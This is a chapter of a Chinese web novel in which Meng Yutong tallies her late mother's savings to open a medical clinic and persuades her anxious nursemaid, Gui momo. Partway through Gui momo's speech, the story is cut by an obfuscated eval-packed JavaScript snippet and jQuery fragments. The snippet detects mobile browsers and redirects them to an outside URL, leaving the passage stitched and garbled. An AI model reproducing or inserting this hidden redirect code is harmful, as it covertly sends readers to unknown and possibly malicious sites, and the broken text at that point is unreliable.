秦姨娘的脸色瞬间涨得通红,旋即又因羞恼转为铁青。
她猛地将腕上那对金光璀璨,宝石灼目的手钏褪下,几乎是砸进了孟玉桐怀里,尖声道:“谁稀罕你这点破铜烂铁!当谁都跟你娘似的,满身金银俗不可耐!”
说罢,再不敢停留,恨恨地一跺脚,扭身便冲出了杏桃院的月洞门,背影仓皇。
白芷冲着那消失的背影,狠狠啐了一口:“呸!装什么清高!不喜欢还天天当个宝似的藏着掖着,又生怕别人瞧不见,时不时撩起袖子显摆!打量谁不知道她那点龌龊心思呢!当谁愿意瞧她啊!”
孟玉桐拿起那一对金光闪闪的手钏,阳光穿过金丝缝隙,在上头折射出耀眼璀璨的光彩,映亮了她含笑的眼。
她唇角弯起,小心地将手钏收好,转身走向院子东侧那间专门辟出来存放母亲嫁妆的耳房。
进了耳房,但见靠墙整齐排列着十数个厚重的樟木箱和一只紫檀木匣,是方才清点好的母亲的嫁妆。
秦州自古盛产金玉,母亲的嫁妆也以此类为大宗。
靠里几个箱笼打开着,里面分门别类码放着各色光华璀璨的首饰。赤金点翠头面、羊脂白玉镯、累丝嵌宝项圈、珍珠璎珞……孟玉桐只略略看了一眼,便上前一一关上了箱子。
她转身,目光落在那只静静置于多宝格顶层的紫檀木匣上。
匣身深郁,触手温润微凉。
轻轻拨开黄铜小扣,里面码着厚厚一叠银票,还有一个塞得鼓鼓囊囊的青灰色织锦荷包。
银票面额大小都有,从一百两到一千两,厚厚一沓,算下来足足三千五百两。
那沉甸甸的荷包里,装的是方便花用的各色银锭子和碎银子,掂着得有二百两上下。
指尖碰到荷包那熟悉的料子,一股酸涩猛地冲上鼻尖,眼前瞬间就模糊了。
孟玉桐仿佛又看见母亲柳氏坐在那里。
从她很小的时候起,母亲每天忙完家事,总会坐在这妆台前,小心翼翼地从妆奁匣子或者袖袋里,摸出些散碎银子铜钱。
有时几钱,有时几两,都仔细地放进这个紫檀木匣子里。
窗外的日头透进来,正好照在母亲低垂的、温柔又专注的侧脸上。
“阿萤来,”母亲总喜欢拉过她的小手,一起摸着匣子底,感受着它一点点变沉,嗓子里带着一种满足的叹息,“匣子越沉啊,娘这心里就越踏实。”
“都是给我的吗?”小小的她仰着脸问。
“嗯,都是给我们阿萤攒的。”母亲笑着点点她的鼻尖,眼里的光温柔得像要溢出来,“娘要给我们阿萤攒下一座金山银山,以后啊,我们阿萤想做什么就做什么,想去哪儿就去哪儿,谁也不能给我们阿萤半点委屈受……”
母亲离世前的景象,历历在目。
那时母亲已气若游丝,却仍固执地要人捧来这紫檀匣。
她冰冷的手紧紧攥着自己。
“阿萤……”母亲的声音微弱,仿佛风一吹就会散,“这匣子……还是不够沉啊……不知道……够不够给我们阿萤……开一间气派的医馆……若是不够……”她眼中滚下泪来,“还有外祖母留给我的那些金玉首饰……那些……都是你外祖母一件件亲手挑的……”
她喘了口气,用尽最后一丝力气,颤抖着从枕下摸出自己随身多年的一只织锦荷包,最后一次,猛地掷进了敞开的紫檀匣中。
“咚!”
一声沉闷而清晰的声响,仿佛砸在年幼孟玉桐的心尖上。
“咚!”
孟玉桐失神间,支摘窗被一只鸟雀撞得关拢起来。
屋子里的光影瞬间被收去大半。
她深吸一口气,压下翻涌的心绪,小心翼翼地将那只紫檀木匣捧起,稳稳地捧回了自己内室。
入了屋子,她从靠墙的黄花梨木多宝阁深处,取出一个略小的填漆戗金木匣,里面是她上回清点出的私房体己,约莫五百两。她将两匣中的银票、银锭、碎银,仔细清点汇拢。手头银钱总计四千二百两。
指尖划过冰凉的银票边缘,孟玉桐的心神却异常冷静。前世在纪家,她曾协助打理过纪家在御街一带的数间铺面,对临安城核心地段的租金、人工、物料开销了熟于心。
这笔钱,在御街中段租个位置不错、格局方正的铺面,是足够了。可开医馆哪是光租个铺子就行的?
药材,特别是那些名贵药材的采买囤货、懂药材的伙计、定做药柜、铺子里的修整装潢……哪一样不是得大把砸银子进去?
这四千二百两,必须精打细算。
她从厚厚一沓银票里,抽出三张一百两面额的银票,抬高声音唤道:“桂嬷嬷!”
桂嬷嬷应声进来,脸上带着点忧色。
“嬷嬷,之前托您找的那位孙牙郎,孙胜,那边有信儿了吗?”
这位孙胜孙牙郎,孟玉桐上辈子就知道他。
这人在临安城里是出了名的“地头熟”,路子野,消息灵,三教九流皆有往来。
最难得的是他眼光毒辣,心思活络,深谙人情世故,常能替主顾寻到合乎心意又价格公道的铺面产业,且口风甚紧,办事牢靠。
桂嬷嬷连忙点头:“回姑娘,孙牙郎递话进来了,说姑娘提的要求他都记下了。眼下御街那块儿正好空出来几间铺子,地段和格局都挺合姑娘的心意。他问姑娘什么时候方便,他亲自带姑娘过去瞧瞧。”
孟玉桐听了,目光转向窗外。
正是傍晚,天边烧着大片大片的晚霞,金红一片,烧得半边天都通红的,连院子里都镀上了一层暖融融的金光。
微风吹到脸上,还带着白天的暖意,又混着一丝清爽,让人胸口那股劲儿也跟着提了起来,觉得眼前豁亮。
她只觉得一股大干一场的酣畅之气在胸中激荡,豁然起身:“择日不如撞日,嬷嬷,叫上白芷,我们现在就去。”
桂嬷嬷看着孟玉桐眉宇间飞扬的神采,心中却是七上八下。
她嘴唇嗫嚅了几下,瞧着姑娘难得的兴头,本欲将劝阻的话咽下,可终究是忧心压过了顾虑,忍不住上前一步,苦口婆心地劝道:
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132393|180116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘……您、您再仔细思量思量啊!这开医馆……绝非儿戏。且不说这银子投进去,若有个闪失,那便是泼天的损失。单是这‘抛头露面、坐堂行医’的名声……”
桂嬷嬷的声音带着颤抖,“姑娘您是未出阁的千金。这临安城的唾沫星子,怕是顷刻间就能将人淹死啊。还有纪家那门亲事……老夫人虽允了您去退,可、可这亲事若真退了,您又开医馆不成,往后……往后可如何是好?当真是……得不偿失啊!”
两日前,孟玉桐从松风院回来不久,吴嬷嬷便气势汹汹地杀到杏桃院,对着桂嬷嬷劈头盖脸就是一通厉声斥责,直骂她是“老糊涂”、“坏了心肝的老货”!
责备她不该将老夫人那些陈年旧事翻出来嚼舌根,撩拨得大姑娘“心思野了”,如今连纪家这般打着灯笼难寻的好亲事都闹着要退,竟异想天开要去开什么医馆!
桂嬷嬷被骂得心惊肉跳,羞愧难当,直觉得是自己多嘴害了姑娘。
她找到孟玉桐,抹着眼泪,掏心掏肺地劝了又劝,恨不得将心窝子都掏出来。
可无论她如何苦劝,孟玉桐只是含笑听着,末了温声回一句“嬷嬷心意我懂,我心里有数”,那神情,分明是一个字也没听进去!
她想拉白芷那丫头一起劝劝,谁知那丫头一听要开医馆,眼睛瞪得溜圆,非但不忧,反而拍着手连声叫好,缠着姑娘问何时去挑铺子、她要当第一个学徒!
气得桂嬷嬷差点背过气去。
一想到这些,桂嬷嬷只觉得心口沉甸甸的,像压了块巨石。
孟玉桐已走到门口,闻言脚步顿住。她并未立刻回头,只是静静站了片刻。
傍晚的霞光从门外斜斜照入,勾勒出她纤细挺直的背影。
然后,她缓缓转过身来。
脸上并无愠色,亦无激动,只有一片平静。然而那双眸子,在霞光的映衬下,染上明丽的色彩。
她看着桂嬷嬷忧心忡忡的眼,声音清晰而坚定:
“嬷嬷,您怕的,是银子打了水漂,是世人的指指点点,是阿萤日后无依无靠。”
她微微一顿,目光越过桂嬷嬷,仿佛穿透了时光,看到了母亲殷切期盼的脸。
“可阿萤怕的,是辜负了这匣子里,母亲用一生心血为阿萤攒下的‘底气’和‘可能’。是辜负了祖母应下赌约时,对阿萤的一丝期待。”
更是辜负了自己重活一世,想要亲手握住命运的这份不甘。
她字字千钧,敲在桂嬷嬷心上:
“人活于世,若因畏惧人言与未知的失败,便连尝试的勇气都失去,那与困死在这四方庭院中的笼鸟,又有何异?
“嬷嬷,您愿意看着阿萤做那永远只能依附他人、看人眼色而活的笼中雀吗?”
“嬷嬷,让阿萤试一试罢。”
桂嬷嬷微微晃神,方才姑娘那模样,与年轻时的老夫人倒是有七八分相像啊!
罢了,这一家子,都是倔脾气,说不动,说不听啊!
桂嬷嬷败下阵来,终于挪动了步子,“老奴这就去备车。”